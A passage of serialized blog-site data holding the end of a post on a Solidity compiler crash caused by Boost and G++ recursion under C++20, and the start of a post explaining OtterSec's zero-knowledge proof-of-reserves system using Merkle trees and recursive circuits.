"tag":118,"props":93682,"children":93683},{"style":210},[93684],{"type":28,"value":1789},{"type":22,"tag":118,"props":93686,"children":93687},{"style":204},[93688],{"type":28,"value":93689}," length",{"type":22,"tag":118,"props":93691,"children":93692},{"style":125},[93693],{"type":28,"value":593},{"type":22,"tag":118,"props":93695,"children":93696},{"style":532},[93697],{"type":28,"value":32101},{"type":22,"tag":118,"props":93699,"children":93700},{"style":125},[93701],{"type":28,"value":32106},{"type":22,"tag":118,"props":93703,"children":93704},{"style":204},[93705],{"type":28,"value":34695},{"type":22,"tag":118,"props":93707,"children":93708},{"style":125},[93709],{"type":28,"value":593},{"type":22,"tag":118,"props":93711,"children":93712},{"style":532},[93713],{"type":28,"value":93714},"category",{"type":22,"tag":118,"props":93716,"children":93717},{"style":125},[93718],{"type":28,"value":2182},{"type":22,"tag":118,"props":93720,"children":93721},{"style":210},[93722],{"type":28,"value":302},{"type":22,"tag":118,"props":93724,"children":93725},{"style":125},[93726],{"type":28,"value":93727}," Type::Category::RationalNumber)\n",{"type":22,"tag":118,"props":93729,"children":93730},{"class":120,"line":244},[93731],{"type":22,"tag":118,"props":93732,"children":93733},{"style":125},[93734],{"type":28,"value":83438},{"type":22,"tag":118,"props":93736,"children":93737},{"class":120,"line":253},[93738,93743,93747,93752,93756,93761,93765,93770,93774,93779,93783],{"type":22,"tag":118,"props":93739,"children":93740},{"style":1480},[93741],{"type":28,"value":93742},"    else",{"type":22,"tag":118,"props":93744,"children":93745},{"style":1480},[93746],{"type":28,"value":17755},{"type":22,"tag":118,"props":93748,"children":93749},{"style":125},[93750],{"type":28,"value":93751}," (std::optional",{"type":22,"tag":118,"props":93753,"children":93754},{"style":210},[93755],{"type":28,"value":559},{"type":22,"tag":118,"props":93757,"children":93758},{"style":125},[93759],{"type":28,"value":93760},"ConstantEvaluator::TypedRational",{"type":22,"tag":118,"props":93762,"children":93763},{"style":210},[93764],{"type":28,"value":12460},{"type":22,"tag":118,"props":93766,"children":93767},{"style":125},[93768],{"type":28,"value":93769}," value ",{"type":22,"tag":118,"props":93771,"children":93772},{"style":210},[93773],{"type":28,"value":282},{"type":22,"tag":118,"props":93775,"children":93776},{"style":125},[93777],{"type":28,"value":93778}," ConstantEvaluator::",{"type":22,"tag":118,"props":93780,"children":93781},{"style":532},[93782],{"type":28,"value":39946},{"type":22,"tag":118,"props":93784,"children":93785},{"style":125},[93786],{"type":28,"value":93787},"(...))\n",{"type":22,"tag":118,"props":93789,"children":93790},{"class":120,"line":263},[93791,93796,93800,93804,93808,93812],{"type":22,"tag":118,"props":93792,"children":93793},{"style":125},[93794],{"type":28,"value":93795},"        lengthValue ",{"type":22,"tag":118,"props":93797,"children":93798},{"style":210},[93799],{"type":28,"value":282},{"type":22,"tag":118,"props":93801,"children":93802},{"style":204},[93803],{"type":28,"value":34449},{"type":22,"tag":118,"props":93805,"children":93806},{"style":125},[93807],{"type":28,"value":593},{"type":22,"tag":118,"props":93809,"children":93810},{"style":204},[93811],{"type":28,"value":41093},{"type":22,"tag":118,"props":93813,"children":93814},{"style":125},[93815],{"type":28,"value":801},{"type":22,"tag":118,"props":93817,"children":93818},{"class":120,"line":318},[93819],{"type":22,"tag":118,"props":93820,"children":93821},{"emptyLinePlaceholder":15},[93822],{"type":28,"value":250},{"type":22,"tag":118,"props":93824,"children":93825},{"class":120,"line":351},[93826,93830,93834,93838],{"type":22,"tag":118,"props":93827,"children":93828},{"style":1480},[93829],{"type":28,"value":2159},{"type":22,"tag":118,"props":93831,"children":93832},{"style":125},[93833],{"type":28,"value":842},{"type":22,"tag":118,"props":93835,"children":93836},{"style":210},[93837],{"type":28,"value":22581},{"type":22,"tag":118,"props":93839,"children":93840},{"style":125},[93841],{"type":28,"value":93842},"lengthValue)\n",{"type":22,"tag":118,"props":93844,"children":93845},{"class":120,"line":359},[93846],{"type":22,"tag":118,"props":93847,"children":93848},{"style":125},[93849],{"type":28,"value":83438},{"type":22,"tag":118,"props":93851,"children":93852},{"class":120,"line":368},[93853,93857,93861,93865,93869,93873,93877,93881,93885],{"type":22,"tag":118,"props":93854,"children":93855},{"style":1480},[93856],{"type":28,"value":93742},{"type":22,"tag":118,"props":93858,"children":93859},{"style":1480},[93860],{"type":28,"value":17755},{"type":22,"tag":118,"props":93862,"children":93863},{"style":125},[93864],{"type":28,"value":842},{"type":22,"tag":118,"props":93866,"children":93867},{"style":210},[93868],{"type":28,"value":671},{"type":22,"tag":118,"props":93870,"children":93871},{"style":125},[93872],{"type":28,"value":91674},{"type":22,"tag":118,"props":93874,"children":93875},{"style":210},[93876],{"type":28,"value":302},{"type":22,"tag":118,"props":93878,"children":93879},{"style":674},[93880],{"type":28,"value":5074},{"type":22,"tag":118,"props":93882,"children":93883},{"style":125},[93884],{"type":28,"value":3627},{"type":22,"tag":118,"props":93886,"children":93887},{"style":257},[93888],{"type":28,"value":93889},"  // \u003C-- Infinite recursion happens here\n",{"type":22,"tag":118,"props":93891,"children":93892},{"class":120,"line":384},[93893],{"type":22,"tag":118,"props":93894,"children":93895},{"style":125},[93896],{"type":28,"value":83438},{"type":22,"tag":118,"props":93898,"children":93899},{"class":120,"line":417},[93900],{"type":22,"tag":118,"props":93901,"children":93902},{"style":125},[93903],{"type":28,"value":481},{"type":22,"tag":31,"props":93905,"children":93906},{},[93907],{"type":28,"value":93908},"Under normal circumstances, this expression is benign. But:",{"type":22,"tag":64,"props":93910,"children":93911},{},[93912,93917,93922],{"type":22,"tag":68,"props":93913,"children":93914},{},[93915],{"type":28,"value":93916},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":22,"tag":68,"props":93918,"children":93919},{},[93920],{"type":28,"value":93921},"C++20 reverses the arguments",{"type":22,"tag":68,"props":93923,"children":93924},{},[93925],{"type":28,"value":93926},"The non-member operator recursively calls itself",{"type":22,"tag":31,"props":93928,"children":93929},{},[93930],{"type":28,"value":93931},"💥: segmentation fault.",{"type":22,"tag":20760,"props":93933,"children":93934},{},[],{"type":22,"tag":23,"props":93936,"children":93938},{"id":93937},"part-v-what-environments-are-affected",[93939],{"type":28,"value":93940},"Part V: What Environments are Affected?",{"type":22,"tag":31,"props":93942,"children":93943},{},[93944],{"type":28,"value":93945},"If a system uses any of the following:",{"type":22,"tag":64,"props":93947,"children":93948},{},[93949,93954,93959],{"type":22,"tag":68,"props":93950,"children":93951},{},[93952],{"type":28,"value":93953},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":22,"tag":68,"props":93955,"children":93956},{},[93957],{"type":28,"value":93958},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":22,"tag":68,"props":93960,"children":93961},{},[93962],{"type":28,"value":93963},"C++20 enabled (default in recent Solidity builds)",{"type":22,"tag":31,"props":93965,"children":93966},{},[93967,93969,93974,93976,93982],{"type":28,"value":93968},"They will encounter this crash ",{"type":22,"tag":74,"props":93970,"children":93971},{},[93972],{"type":28,"value":93973},"as soon as",{"type":28,"value":93975}," it processes a Solidity source with a length expression like ",{"type":22,"tag":114,"props":93977,"children":93979},{"className":93978},[],[93980],{"type":28,"value":93981},"T[0]",{"type":28,"value":93983}," or anything involving compile-time rational comparisons.",{"type":22,"tag":20760,"props":93985,"children":93986},{},[],{"type":22,"tag":23,"props":93988,"children":93990},{"id":93989},"recommendations",[93991],{"type":28,"value":93992},"Recommendations",{"type":22,"tag":64,"props":93994,"children":93995},{},[93996,94004],{"type":22,"tag":68,"props":93997,"children":93998},{},[93999],{"type":22,"tag":74,"props":94000,"children":94001},{},[94002],{"type":28,"value":94003},"Update Boost to ≥ 1.75",{"type":22,"tag":68,"props":94005,"children":94006},{},[94007],{"type":22,"tag":74,"props":94008,"children":94009},{},[94010],{"type":28,"value":94011},"Pin G++ to v14 or later",{"type":22,"tag":20760,"props":94013,"children":94014},{},[],{"type":22,"tag":23,"props":94016,"children":94017},{"id":30872},[94018],{"type":28,"value":20914},{"type":22,"tag":31,"props":94020,"children":94021},{},[94022],{"type":28,"value":94023},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":22,"tag":31,"props":94025,"children":94026},{},[94027,94029,94033],{"type":28,"value":94028},"But it ",{"type":22,"tag":74,"props":94030,"children":94031},{},[94032],{"type":28,"value":5986},{"type":28,"value":94034}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":22,"tag":31,"props":94036,"children":94037},{},[94038],{"type":28,"value":94039},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":22,"tag":31,"props":94041,"children":94042},{},[94043],{"type":28,"value":94044},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":22,"tag":4880,"props":94046,"children":94047},{},[94048],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":94050},[94051,94052,94057,94060,94061,94062,94063,94064],{"id":91734,"depth":142,"text":91737},{"id":91823,"depth":142,"text":91826,"children":94053},[94054,94055,94056],{"id":91829,"depth":177,"text":91832},{"id":91897,"depth":177,"text":91900},{"id":91988,"depth":177,"text":91991},{"id":92572,"depth":142,"text":92575,"children":94058},[94059],{"id":92578,"depth":177,"text":92581},{"id":92689,"depth":142,"text":92692},{"id":93536,"depth":142,"text":93539},{"id":93937,"depth":142,"text":93940},{"id":93989,"depth":142,"text":93992},{"id":30872,"depth":142,"text":20914},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":94069,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94070,"description":94071,"date":94072,"author":33139,"image":94073,"isFeatured":15,"onBlogPage":15,"tags":94075,"body":94078,"_type":4896,"_id":98854,"_source":4898,"_file":98855,"_stem":98856,"_extension":4901},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":94074,"width":13,"height":13},"/posts/por/title.png",[94076,94077],"zk","por",{"type":19,"children":94079,"toc":98831},[94080,94086,94098,94110,94115,94147,94161,94167,94179,94184,94189,94226,94231,94237,94242,94249,94254,94280,94285,94291,94311,94325,94333,94338,94343,94351,94364,94370,94452,94458,94463,94476,94481,94488,94512,94520,94525,94531,94536,94984,94997,95003,95008,95016,95034,95042,95055,95063,96724,96729,96736,96742,96747,96754,96770,96777,96785,96792,98303,98308,98315,98321,98326,98353,98358,98377,98383,98391,98409,98458,98466,98485,98507,98513,98526,98531,98538,98543,98606,98611,98618,98638,98644,98649,98655,98660,98704,98709,98717,98723,98728,98770,98775,98783,98788,98796,98800,98805,98818],{"type":22,"tag":23,"props":94081,"children":94083},{"id":94082},"what-is-a-proof-of-reserves",[94084],{"type":28,"value":94085},"What is a Proof of Reserves?",{"type":22,"tag":31,"props":94087,"children":94088},{},[94089,94091,94096],{"type":28,"value":94090},"At its heart, ",{"type":22,"tag":74,"props":94092,"children":94093},{},[94094],{"type":28,"value":94095},"Proof of Reserves (PoR)",{"type":28,"value":94097}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":22,"tag":31,"props":94099,"children":94100},{},[94101,94103,94108],{"type":28,"value":94102},"Think of it this way: ",{"type":22,"tag":74,"props":94104,"children":94105},{},[94106],{"type":28,"value":94107},"PoR",{"type":28,"value":94109}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":22,"tag":31,"props":94111,"children":94112},{},[94113],{"type":28,"value":94114},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":22,"tag":31,"props":94116,"children":94117},{},[94118,94120,94127,94129,94136,94138,94145],{"type":28,"value":94119},"We from OtterSec, in partnership with ",{"type":22,"tag":42,"props":94121,"children":94124},{"href":94122,"rel":94123},"https://backpack.exchange/",[46],[94125],{"type":28,"value":94126},"Backpack",{"type":28,"value":94128},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":22,"tag":42,"props":94130,"children":94133},{"href":94131,"rel":94132},"https://github.com/otter-sec/por_v2",[46],[94134],{"type":28,"value":94135},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":28,"value":94137}," was based on ",{"type":22,"tag":42,"props":94139,"children":94142},{"href":94140,"rel":94141},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[46],[94143],{"type":28,"value":94144},"OKX Proof of Reserves algorithm",{"type":28,"value":94146}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":22,"tag":31,"props":94148,"children":94149},{},[94150,94152,94159],{"type":28,"value":94151},"In addition, we also created and open-sourced a ",{"type":22,"tag":42,"props":94153,"children":94156},{"href":94154,"rel":94155},"https://github.com/otter-sec/por_verifier_server",[46],[94157],{"type":28,"value":94158},"PoR verifier server",{"type":28,"value":94160}," that receives the proofs and validates them.",{"type":22,"tag":23,"props":94162,"children":94164},{"id":94163},"why-do-we-use-zk-for-por",[94165],{"type":28,"value":94166},"Why do we use ZK for PoR?",{"type":22,"tag":31,"props":94168,"children":94169},{},[94170,94172,94177],{"type":28,"value":94171},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":22,"tag":74,"props":94173,"children":94174},{},[94175],{"type":28,"value":94176},"Zero-Knowledge Proofs (ZKPs)",{"type":28,"value":94178}," become game-changers.",{"type":22,"tag":31,"props":94180,"children":94181},{},[94182],{"type":28,"value":94183},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":22,"tag":31,"props":94185,"children":94186},{},[94187],{"type":28,"value":94188},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":22,"tag":4029,"props":94190,"children":94191},{},[94192,94209],{"type":22,"tag":68,"props":94193,"children":94194},{},[94195,94200,94202,94208],{"type":22,"tag":74,"props":94196,"children":94197},{},[94198],{"type":28,"value":94199},"Sum proof",{"type":28,"value":94201},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":22,"tag":114,"props":94203,"children":94205},{"className":94204},[],[94206],{"type":28,"value":94207},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":28,"value":22702},{"type":22,"tag":68,"props":94210,"children":94211},{},[94212,94217,94219,94224],{"type":22,"tag":74,"props":94213,"children":94214},{},[94215],{"type":28,"value":94216},"Non-negativity",{"type":28,"value":94218},": All users have a ",{"type":22,"tag":74,"props":94220,"children":94221},{},[94222],{"type":28,"value":94223},"positive",{"type":28,"value":94225}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":22,"tag":31,"props":94227,"children":94228},{},[94229],{"type":28,"value":94230},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":22,"tag":23,"props":94232,"children":94234},{"id":94233},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[94235],{"type":28,"value":94236},"What is a Merkle Tree and how does it help in a PoR?",{"type":22,"tag":31,"props":94238,"children":94239},{},[94240],{"type":28,"value":94241},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":22,"tag":31,"props":94243,"children":94244},{},[94245],{"type":22,"tag":5928,"props":94246,"children":94248},{"alt":52519,"src":94247},"/posts/por/merkle-tree.png",[],{"type":22,"tag":31,"props":94250,"children":94251},{},[94252],{"type":28,"value":94253},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":22,"tag":4029,"props":94255,"children":94256},{},[94257,94270,94275],{"type":22,"tag":68,"props":94258,"children":94259},{},[94260,94262,94268],{"type":28,"value":94261},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":22,"tag":114,"props":94263,"children":94265},{"className":94264},[],[94266],{"type":28,"value":94267},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":28,"value":94269},");",{"type":22,"tag":68,"props":94271,"children":94272},{},[94273],{"type":28,"value":94274},"The Merkle tree is made public;",{"type":22,"tag":68,"props":94276,"children":94277},{},[94278],{"type":28,"value":94279},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":22,"tag":31,"props":94281,"children":94282},{},[94283],{"type":28,"value":94284},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":22,"tag":23,"props":94286,"children":94288},{"id":94287},"ottersec-porv2",[94289],{"type":28,"value":94290},"OtterSec PoRv2",{"type":22,"tag":31,"props":94292,"children":94293},{},[94294,94300,94302,94309],{"type":22,"tag":42,"props":94295,"children":94297},{"href":94131,"rel":94296},[46],[94298],{"type":28,"value":94299},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":28,"value":94301},", which uses the ",{"type":22,"tag":42,"props":94303,"children":94306},{"href":94304,"rel":94305},"https://github.com/0xPolygonZero/plonky2",[46],[94307],{"type":28,"value":94308},"plonky2 ZK algorithm",{"type":28,"value":94310}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":22,"tag":31,"props":94312,"children":94313},{},[94314,94316,94323],{"type":28,"value":94315},"We named it PoRv2 because we already had a version based on ",{"type":22,"tag":42,"props":94317,"children":94320},{"href":94318,"rel":94319},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[46],[94321],{"type":28,"value":94322},"Vitalik's proof of solvency",{"type":28,"value":94324},", which was not optimal.",{"type":22,"tag":31,"props":94326,"children":94327},{},[94328],{"type":22,"tag":74,"props":94329,"children":94330},{},[94331],{"type":28,"value":94332},"Non-negativity Proof",{"type":22,"tag":31,"props":94334,"children":94335},{},[94336],{"type":28,"value":94337},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":22,"tag":31,"props":94339,"children":94340},{},[94341],{"type":28,"value":94342},"We also check for overflows during summation to prevent tampering in the final result.",{"type":22,"tag":31,"props":94344,"children":94345},{},[94346],{"type":22,"tag":74,"props":94347,"children":94348},{},[94349],{"type":28,"value":94350},"Sum Proof",{"type":22,"tag":31,"props":94352,"children":94353},{},[94354,94356,94362],{"type":28,"value":94355},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":22,"tag":114,"props":94357,"children":94359},{"className":94358},[],[94360],{"type":28,"value":94361},"BTC final: user1_btc + user2_btc ...",{"type":28,"value":94363},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":22,"tag":1289,"props":94365,"children":94367},{"id":94366},"what-are-the-ottersec-porv2-key-points",[94368],{"type":28,"value":94369},"What are the OtterSec PoRv2 key points?",{"type":22,"tag":4029,"props":94371,"children":94372},{},[94373,94383,94401,94411,94442],{"type":22,"tag":68,"props":94374,"children":94375},{},[94376,94381],{"type":22,"tag":74,"props":94377,"children":94378},{},[94379],{"type":28,"value":94380},"Transparency",{"type":28,"value":94382},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":22,"tag":68,"props":94384,"children":94385},{},[94386,94391,94393,94400],{"type":22,"tag":74,"props":94387,"children":94388},{},[94389],{"type":28,"value":94390},"Time-efficiency",{"type":28,"value":94392},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":22,"tag":42,"props":94394,"children":94397},{"href":94395,"rel":94396},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[46],[94398],{"type":28,"value":94399},"Check our benchmark",{"type":28,"value":292},{"type":22,"tag":68,"props":94402,"children":94403},{},[94404,94409],{"type":22,"tag":74,"props":94405,"children":94406},{},[94407],{"type":28,"value":94408},"Memory-efficiency",{"type":28,"value":94410},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":22,"tag":68,"props":94412,"children":94413},{},[94414,94419,94421,94426,94428,94433,94435,94440],{"type":22,"tag":74,"props":94415,"children":94416},{},[94417],{"type":28,"value":94418},"Small-proofs",{"type":28,"value":94420},": We were able to reduce the final proof to less than ",{"type":22,"tag":74,"props":94422,"children":94423},{},[94424],{"type":28,"value":94425},"500KB",{"type":28,"value":94427}," and each inclusion proof to ",{"type":22,"tag":74,"props":94429,"children":94430},{},[94431],{"type":28,"value":94432},"~52KB",{"type":28,"value":94434},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":22,"tag":74,"props":94436,"children":94437},{},[94438],{"type":28,"value":94439},"200MB",{"type":28,"value":94441}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":22,"tag":68,"props":94443,"children":94444},{},[94445,94450],{"type":22,"tag":74,"props":94446,"children":94447},{},[94448],{"type":28,"value":94449},"Privacy",{"type":28,"value":94451},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":22,"tag":23,"props":94453,"children":94455},{"id":94454},"zk-circuits",[94456],{"type":28,"value":94457},"ZK Circuits",{"type":22,"tag":31,"props":94459,"children":94460},{},[94461],{"type":28,"value":94462},"We use two different ZK circuits to generate the final proof:",{"type":22,"tag":4029,"props":94464,"children":94465},{},[94466,94471],{"type":22,"tag":68,"props":94467,"children":94468},{},[94469],{"type":28,"value":94470},"Batch circuit",{"type":22,"tag":68,"props":94472,"children":94473},{},[94474],{"type":28,"value":94475},"Recursive circuit",{"type":22,"tag":31,"props":94477,"children":94478},{},[94479],{"type":28,"value":94480},"With those two circuits, we can generate the proofs recursive tree:",{"type":22,"tag":31,"props":94482,"children":94483},{},[94484],{"type":22,"tag":5928,"props":94485,"children":94487},{"alt":52519,"src":94486},"/posts/por/batch-circuit.png",[],{"type":22,"tag":1269,"props":94489,"children":94490},{},[94491],{"type":22,"tag":31,"props":94492,"children":94493},{},[94494,94496,94502,94504,94510],{"type":28,"value":94495},"Note: We are using 512 as ",{"type":22,"tag":114,"props":94497,"children":94499},{"className":94498},[],[94500],{"type":28,"value":94501},"BATCH_SIZE",{"type":28,"value":94503}," and 8 as ",{"type":22,"tag":114,"props":94505,"children":94507},{"className":94506},[],[94508],{"type":28,"value":94509},"RECURSIVE_SIZE",{"type":28,"value":94511}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":22,"tag":1269,"props":94513,"children":94514},{},[94515],{"type":22,"tag":31,"props":94516,"children":94517},{},[94518],{"type":28,"value":94519},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":22,"tag":31,"props":94521,"children":94522},{},[94523],{"type":28,"value":94524},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":22,"tag":1289,"props":94526,"children":94528},{"id":94527},"leaf-nodes",[94529],{"type":28,"value":94530},"Leaf Nodes",{"type":22,"tag":31,"props":94532,"children":94533},{},[94534],{"type":28,"value":94535},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":22,"tag":31,"props":94537,"children":94538},{},[94539],{"type":22,"tag":114,"props":94540,"children":94542},{"className":94541},[5995,5996],[94543],{"type":22,"tag":118,"props":94544,"children":94546},{"className":94545},[6001],[94547],{"type":22,"tag":118,"props":94548,"children":94550},{"className":94549,"ariaHidden":6007},[6006],[94551,94578],{"type":22,"tag":118,"props":94552,"children":94554},{"className":94553},[6012],[94555,94560,94565,94569,94574],{"type":22,"tag":118,"props":94556,"children":94559},{"className":94557,"style":94558},[6017],"height:0.6944em;",[],{"type":22,"tag":118,"props":94561,"children":94563},{"className":94562},[6023,23542],[94564],{"type":28,"value":85941},{"type":22,"tag":118,"props":94566,"children":94568},{"className":94567,"style":6202},[6104],[],{"type":22,"tag":118,"props":94570,"children":94572},{"className":94571},[6207],[94573],{"type":28,"value":282},{"type":22,"tag":118,"props":94575,"children":94577},{"className":94576,"style":6202},[6104],[],{"type":22,"tag":118,"props":94579,"children":94581},{"className":94580},[6012],[94582,94587,94592,94598,94603,94608,94614,94619,94624,94629,94635,94640,94646,94652,94659,94665,94671,94731,94736,94742,94747,94752,94757,94762,94767,94772,94777,94782,94787,94844,94849,94854,94859,94864,94869,94874,94881,94886,94892,94897,94903,94909,94914,94919,94924,94929,94934,94939,94944,94949,94954,94959,94964,94969,94974,94979],{"type":22,"tag":118,"props":94583,"children":94586},{"className":94584,"style":94585},[6017],"height:1.06em;vertical-align:-0.31em;",[],{"type":22,"tag":118,"props":94588,"children":94590},{"className":94589,"style":23543},[6023,23542],[94591],{"type":28,"value":23546},{"type":22,"tag":118,"props":94593,"children":94595},{"className":94594},[6023,23542],[94596],{"type":28,"value":94597},"ose",{"type":22,"tag":118,"props":94599,"children":94601},{"className":94600},[6023,23542],[94602],{"type":28,"value":3613},{"type":22,"tag":118,"props":94604,"children":94606},{"className":94605},[6023,23542],[94607],{"type":28,"value":72503},{"type":22,"tag":118,"props":94609,"children":94611},{"className":94610},[6023,23542],[94612],{"type":28,"value":94613},"o",{"type":22,"tag":118,"props":94615,"children":94617},{"className":94616},[6023,23542],[94618],{"type":28,"value":58344},{"type":22,"tag":118,"props":94620,"children":94622},{"className":94621},[23671],[94623],{"type":28,"value":540},{"type":22,"tag":118,"props":94625,"children":94627},{"className":94626},[6023,23542],[94628],{"type":28,"value":42},{"type":22,"tag":118,"props":94630,"children":94632},{"className":94631},[6023,23542],[94633],{"type":28,"value":94634},"sse",{"type":22,"tag":118,"props":94636,"children":94638},{"className":94637},[6023,23542],[94639],{"type":28,"value":23684},{"type":22,"tag":118,"props":94641,"children":94644},{"className":94642,"style":94643},[6023],"margin-right:0.02778em;",[94645],{"type":28,"value":3422},{"type":22,"tag":118,"props":94647,"children":94649},{"className":94648},[6023,23542],[94650],{"type":28,"value":94651},"ba",{"type":22,"tag":118,"props":94653,"children":94656},{"className":94654,"style":94655},[6023,23542],"margin-right:0.01968em;",[94657],{"type":28,"value":94658},"l",{"type":22,"tag":118,"props":94660,"children":94662},{"className":94661},[6023,23542],[94663],{"type":28,"value":94664},"an",{"type":22,"tag":118,"props":94666,"children":94668},{"className":94667},[6023,23542],[94669],{"type":28,"value":94670},"ce",{"type":22,"tag":118,"props":94672,"children":94674},{"className":94673},[6023],[94675,94680],{"type":22,"tag":118,"props":94676,"children":94678},{"className":94677},[6023,23542],[94679],{"type":28,"value":12650},{"type":22,"tag":118,"props":94681,"children":94683},{"className":94682},[6040],[94684],{"type":22,"tag":118,"props":94685,"children":94687},{"className":94686},[6045,23596],[94688,94719],{"type":22,"tag":118,"props":94689,"children":94691},{"className":94690},[6050],[94692,94714],{"type":22,"tag":118,"props":94693,"children":94696},{"className":94694,"style":94695},[6055],"height:0.3011em;",[94697],{"type":22,"tag":118,"props":94698,"children":94700},{"style":94699},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94701,94705],{"type":22,"tag":118,"props":94702,"children":94704},{"className":94703,"style":6065},[6064],[],{"type":22,"tag":118,"props":94706,"children":94708},{"className":94707},[6070,6071,6072,6073],[94709],{"type":22,"tag":118,"props":94710,"children":94712},{"className":94711},[6023,6073],[94713],{"type":28,"value":6036},{"type":22,"tag":118,"props":94715,"children":94717},{"className":94716},[23699],[94718],{"type":28,"value":23702},{"type":22,"tag":118,"props":94720,"children":94722},{"className":94721},[6050],[94723],{"type":22,"tag":118,"props":94724,"children":94727},{"className":94725,"style":94726},[6055],"height:0.15em;",[94728],{"type":22,"tag":118,"props":94729,"children":94730},{},[],{"type":22,"tag":118,"props":94732,"children":94734},{"className":94733},[6104],[94735],{"type":28,"value":23643},{"type":22,"tag":118,"props":94737,"children":94739},{"className":94738},[6023],[94740],{"type":28,"value":94741},"∣∣",{"type":22,"tag":118,"props":94743,"children":94745},{"className":94744},[6104],[94746],{"type":28,"value":23643},{"type":22,"tag":118,"props":94748,"children":94750},{"className":94749},[6023,23542],[94751],{"type":28,"value":42},{"type":22,"tag":118,"props":94753,"children":94755},{"className":94754},[6023,23542],[94756],{"type":28,"value":94634},{"type":22,"tag":118,"props":94758,"children":94760},{"className":94759},[6023,23542],[94761],{"type":28,"value":23684},{"type":22,"tag":118,"props":94763,"children":94765},{"className":94764,"style":94643},[6023],[94766],{"type":28,"value":3422},{"type":22,"tag":118,"props":94768,"children":94770},{"className":94769},[6023,23542],[94771],{"type":28,"value":94651},{"type":22,"tag":118,"props":94773,"children":94775},{"className":94774,"style":94655},[6023,23542],[94776],{"ty